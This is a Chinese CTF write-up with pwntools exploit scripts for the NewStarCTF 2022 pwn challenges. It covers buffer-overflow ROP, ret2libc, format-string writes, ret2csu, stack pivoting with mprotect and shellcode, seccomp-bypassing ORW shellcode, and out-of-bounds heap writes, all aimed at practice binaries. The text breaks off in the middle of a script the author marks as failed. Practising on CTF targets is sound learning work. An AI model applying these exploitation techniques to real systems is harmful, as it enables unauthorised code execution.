• 2022NewStarCTF pwn大部分题解


    前言:

    今年9~10月的比赛,题目从易到难,知识面广,还是很不错的,复现一下这比赛的pwn

    WEEK1

    ret2text:

    from pwn import*
    r= process('./pwn')
    #r=remote('node4.buuoj.cn',25509)
    elf = ELF('./pwn')
    #libc=elf('./libc-2.31.so')
    pop_rdi=0x4007d3
    backdoor=0x400708
    payload='a'*0x20+'b'*8+p64(backdoor)
    r.sendline(payload)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    calc:

    用python的eval函数自动计算

    from pwn import *
    #from LibcSearcher import * 
    local_file  = './cala'
    local_libc  = './libc-2.27.so'
    remote_libc = './libc-2.27.so'
    #remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',25712 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data)
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims                         :r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #-----------------------------
    for i in range(100):
        ru('What\'s the answer? ')
        sl(str(eval(r.recvuntil('=',drop=True).replace('x','*'))))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    ret2libc:

    from pwn import *
    local_file  = './pwn'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    #remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',29708 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data)
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims                         :r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------
    pop_rdi=0x400753
    ret=0x40050e
    payload='a'*0x20+'b'*8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])
    sla('Glad to meet you again!What u bring to me this time?\n',payload)
    got=uu64(ru('\x7f')[-6:])
    base=got-libc.sym['puts']
    print hex(base)
    system=base+libc.sym['system']
    binsh=base+0x1b45bd
    payload='a'*0x20+'b'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
    sla('Glad to meet you again!What u bring to me this time?\n',payload)
    #debug()
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    ret2shellcode:

    from pwn import *
    #from LibcSearcher import * 
    local_file  = './shell'
    local_libc  = './libc-2.27.so'
    remote_libc = './libc-2.27.so'
    #remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',25903 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    #-----------------------------
    sla('Hello my friend.Any gift for me?\n',asm(shellcraft.sh()))
    sla('Anything else?\n','a'*0x30+'b'*8+p64(0x233000))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    fallw1nd’s gift:

    GOT Hijacking,

    gdb调试来确定该怎样输入addr

    用objdump -d -M inte ./fallw1nd’s gift 取找puts的plt

    from pwn import *
    #from LibcSearcher import * 
    local_file  = './fallw1nd_gift'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    #remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',25419)
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data)
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims                         :r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #----------------------
    ru('gift as reward:\n')
    puts_got=eval(rc(14))
    print hex(puts_got)
    base=puts_got-libc.sym['puts']
    print hex(base)
    system=base+libc.sym['system']
    print hex(libc.sym['puts'])
    puts_plt=base+libc.sym['puts']
    #debug()
    sla('now input your addr:\n',str(hex(0x4033f8)).replace('0x',''))
    se(p64(system))
    #debug()
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    WEEK2

    uint32 and ret:

    就是个负数转无符号会变为一个很大的数,就能溢出,然后太大也不行read不了,找一下64位无符号int是多少,然后对应减掉一点,用gdb调试一下就知道了,还有就是用ret调一下

    from pwn import *
    local_file  = './uint'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',25835 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------------
    ret=0x40101a
    backdoor=0x4011b6
    sl(str(4294967094))
    #debug()
    sl('a'*0x58+p64(ret)+p64(backdoor))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    shellcode-revenge:

    沙盒禁用了execve

    保护就canary没开

    思路:就是第一个read往mmap地址写 (调用read往mmap+21地址写0x800字节函数)的汇编(注:21是因为汇编长度为21),写入orw后会紧接着执行orw语句,
    栈溢出跳到mmap

    from pwn import *
    local_file  = './pwn'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',25278 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------------
    mmap=0x233000
    se(asm(shellcraft.read(0,mmap+21,0x800)))
    print len(asm(shellcraft.read(0,mmap+21,0x800)))
    orw_payload=shellcraft.open('./flag')
    orw_payload+=shellcraft.read(3,mmap+0x850,0x50)   
    orw_payload+=shellcraft.write(1,mmap+0x850,0x50)
    print(len(orw_payload))
    sl('a'*0x38+p64(mmap))
    sl(asm(orw_payload))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    砍一刀:

    这题有格式化字符串漏洞

    偏移为8

    所以只要改diamond为10即可
    diamond=0x404090
    注意64位p64(diamond)要放在后面,不然要被截断
    想了很久怎么去交互,这个脚本只能说极小概率成功,多试几次

    from pwn import *
    local_file  = './pwn2'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',28562)
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------------
    sl('')
    sl('')
    sl('666')
    sl('')
    for i in range(18):
        sl('')
    for i in range(20):
    	sl('')
    for i in range(100):
        sl('%'+'10'+'c%10$n'+'a'*7+p64(0x404090))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    buffer-fly:

    保护就canary没开

    printf遇到’\x00’截断,我们可以泄露在 rbp-0x20到rbp之间的地址

    第一个read我们泄露函数的地址,得到gadget pop_rdisystem

    第二个read泄露栈的地址,填入sh flag\x00

    因为程序close(0),close(1)关闭了标准输入,标准输出

    所以第三个read栈溢出sh执行flag,导致标准错误输出flag

    from pwn import *
    local_file  = './buffer_fly'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',28290 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data)
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims                         :r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    #------------------------
    sea('give me your name: ','a'*0x18)
    ru('your name: aaaaaaaaaaaaaaaaaaaaaaaa')
    function_addr=uu64(rc(6))
    boy_next_door=function_addr+3
    base=boy_next_door-0x128e
    info("function_base",base)
    pop_rdi=base+0x1423
    ret=base+0x101a
    system=base+0x129d
    #debug()
    sea('your age: ',b'a'*0x20)
    stack_addr=uu64(ru('\x7f')[-6:])
    #debug()
    info('stack_addr',stack_addr)
    payload=flat('sh flag\x00','a'*0x20,pop_rdi,stack_addr-0x30,system)
    sea('susu give me your wechat number: ',payload)
    #debug()
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    WEEK3

    cat flag

    提示趁它sleep时edit把name改为flag

    from pwn import *
    local_file  = './pwn'
    select = 1
    if select == 0:
        r = process(local_file)
    elif select == 1:
        r = remote('node4.buuoj.cn',28863 )
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sla('==>','2')
    sla('Input the file name you want to cat.\n','backdoor')
    sla('==>','3')
    sla('Input new name you want to change.\n','flag')
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    Read&Write

    存在数组越界,和向后读写,可以向后越界泄露libc_base,程序实际地址什么的,然后rop一下就行了

    from pwn import * 
    local_file  = './pwn'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    #------------------------
    def s(idx):
        sla('> ','1')
        sla('Idx:',str(idx))
        ru('The num: ')
        low_addr=int(r.recvuntil('\n',drop=True),10)
        sla('> ','1')
        sla('Idx:',str(idx+1))
        ru('The num: ')
        high_addr=int(r.recvuntil('\n',drop=True),10)
        return high_addr*(2**32)+low_addr
    
    def w(idx,num):
        high_num=int(num/(2**32))
        low_num=num%(2**32)
        #print(high_num)
        sla('> ','2')
        sla('Idx:',str(idx))
        sla('Num:',str(low_num))
        sla('> ','2')
        sla('Idx:',str(idx+1))
        sla('Num:',str(high_num))
    #--------------------------
    base=s(0x110)-elf.sym['__libc_csu_init']
    info("base",base)
    libc_base=s(0x12c)-0x236190
    info("libc_base",libc_base)
    
    pop_rdi = libc_base + 0x23b6a
    ret=libc_base + 0x22679
    binsh=libc_base+0x1B45BD
    system =libc_base+libc.sym['system']
    
    w(0x106,ret)
    w(0x108,pop_rdi)
    w(0x10a,binsh)
    #debug()
    w(0x10c,system)
    sla('> ','666')
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69

    ret2csu1

    总而言之就是用ret2csu来rop出execve(“/bin/cat”,{“/bin/cat”,“/flag”,NULL},0)

    from pwn import * 
    local_file  = './pwn'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select =0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',27162 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    #------------------------
    def csu(rdi,rsi,rdx,function):
        csu_front_addr=0x400710
        csu_end_addr=0x40072A
        payload = b''
        payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(
            rdi) + p64(rsi) + p64(rdx)
        payload += p64(csu_front_addr)
        payload += b'a' * 0x38
        return payload
    #----------------
    bincat=0x4007BB
    flag=0x601050
    execve=0x601068
    payload=b'a'*0x28+csu(bincat,flag,0,execve)
    #debug()
    sea('I hide some useful text in this elf.Remember to check it!\n',payload)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    sheep a flag

    完全可以手动走一下迷宫,ctrl+c转换到脚本用格式化字符串往0x602080地址写0x1D4B42

    fmt从这位师傅抄了一个,懒得写了

    from pwn import * 
    local_file  = './sheep_a_flag'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    #------------------------
    r.interactive()
    payload=b'%29c%10$hhn%37c%11$hhn%9c%12$hhn'+p64(0x602082)+p64(0x602080)+p64(0x602081)
    se(payload)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    WEEK4

    canary

    保护全开

    存在两个格式化字符串漏洞

    backdoor里有system,bss段有/bin/sh

    思路是泄露canary,改money长度造成溢出,rop出 system(/bin/sh)

    from pwn import * 
    local_file  = './pwn'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib64/ld-linux-x86-64.so.2'
    select = 1
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25326 )
        libc = ELF(remote_libc)
    else:
        r = gdb.debug(local_file)
        libc = ELF(local_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    print ("pid"+str(proc.pidof(r)))
    #------------------------
    offest=6
    sla('Now answer me, will you v me 50\n','aaaaaaa,%11$p,%17$p')
    ru('0x')
    canary=int(rc(16),16)
    info('canary',canary)
    ru('0x')
    true_main=int(rc(12),16)
    pie_base=true_main-0x9e4
    money=0x20206C
    true_money=money+pie_base
    info('true_money',true_money)
    #pause()
    sla('What do you want to say to the canary\n','%200c%8$n'+'a'*7+p64(true_money))
    pop_rdi=0xb33+pie_base
    binsh=0x202020+pie_base
    system=0x9DC+pie_base
    sl(flat('a'*0x28,canary,'b'*8,pop_rdi,binsh,system))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    这是堆🐴

    下标可以小于0,bss段有个指针指向自己(貌似还有个off by null),Edit功能用负数配合该指针达成任意写

    show功能泄露libc后,改atoi为system,填入binsh

    from pwn import * 
    local_file  = './pwn'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    #------------------------
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    def add(content):
        sla('>> ','1')
        sea('Any data?\n',content)
    def edit(idx,content):
        sla('>> ','3')
        sla('Index:',str(idx))
        sea('Content:',content)
    def show(idx):
        sla('>> ','4')
        sla('Index:',str(idx))
    #-------------------------
    you_found_me=0x602080
    #debug()
    edit(-12,flat(you_found_me,elf.got['puts']))
    show(-11)
    libc_base=uu64(ru("\x7f"))-libc.sym['puts']
    info("libc_base",libc_base)
    system=libc_base+libc.sym['system']
    atoi_plt=0x602058
    edit(-12,flat(atoi_plt))
    #print(p64(system)[0:6])
    edit(-12,p64(system)[0:7])
    #debug()
    sla('>> ','3')
    sla('Index:','/bin/sh')
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55

    OhMyShellcode

    呃呃呃,只检测到0x19,只要syscall在0x19长度后即可

    from pwn import * 
    local_file  = './pwn'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sea     = lambda delim,data         :r.sendafter(delim, data)
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    #--------------------------
    mmap=0x233000
    shellcode=asm('''
        mov rdi,0
        mov rsi,0x23301e
        mov rdx,0x800
        mov rax,0
        syscall
    ''')
    print(hex(len(shellcode)))
    sea('Show me your magic.\n',shellcode)
    #debug()
    sea('Good luck!',b'a'*0x38+p64(0x233000))
    orw_payload=shellcraft.open('flag')
    orw_payload+=shellcraft.read(3,mmap+0x850,0x50)   
    orw_payload+=shellcraft.write(1,mmap+0x850,0x50)
    se(asm(orw_payload))
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    ret2csu2

    栈迁移到bss段,然后mprotect提权bss段,紧接着执行shellcode即可

    (mprotect的地址要0x1000的倍数,不然无法提权,总的来说这题gdb调试格外重要)

    from pwn import * 
    local_file  = './pwn'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select =0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',27162 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    #------------------------
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    def csu(rdi,rsi,rdx,function):
        csu_front_addr=0x400740
        csu_end_addr=0x40075A
        payload = b''
        payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(
            rdi) + p64(rsi) + p64(rdx)
        payload += p64(csu_front_addr)
        payload += b'a' * 0x38
        return payload
    #-----------------
    bss=0x601020+0x300
    main_read=0x4006D6
    leave_ret=0x0000000000400681 # leave ; ret
    main=0x400683
    shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
    mprotect=elf.got['mprotect']
    payload=flat('a'*0xf0,bss+0xf0,main_read)
    #debug()
    sea('Also a fun function in this elf.Remember to check it!\n',payload)
    payload1=csu(0x601000,0x1000,7,mprotect)+p64(0x6013a0)+shellcode
    payload1=payload1.ljust(0xf0,b'\x00')
    payload1+=p64(bss-8)+p64(leave_ret)
    #debug()
    se(payload1)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55

    这是堆🐎

    这题有难度的

    还开了沙盒,禁用了execve和open

    漏洞依旧存在于Edit 下标小于0没检测,可以数组越界打stdout泄露libc

    因为打印出来的地址太多,变数太多,7f开头的可能是栈地址,libc段的地址,凑巧7f字符等情况

    所以我找了几个可能是libc段的地址,加大概率,如果不是这些地址的话就会报错libc_base undined

    多试几次

    自己的尝试:

    数组越界打stdout泄露libc

    继续数组越界打stderr,exit来触发IO流,用的是house of apple2的利用链

    (不过这个方法不太好,还得小心翼翼不破坏stdout,破坏掉了调用puts就报错)

    exit并没有调用指定链,不知为啥

    最后虽然失败了,但还是记录一下

    #fail exp
    from pwn import * 
    local_file  = './pwn'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
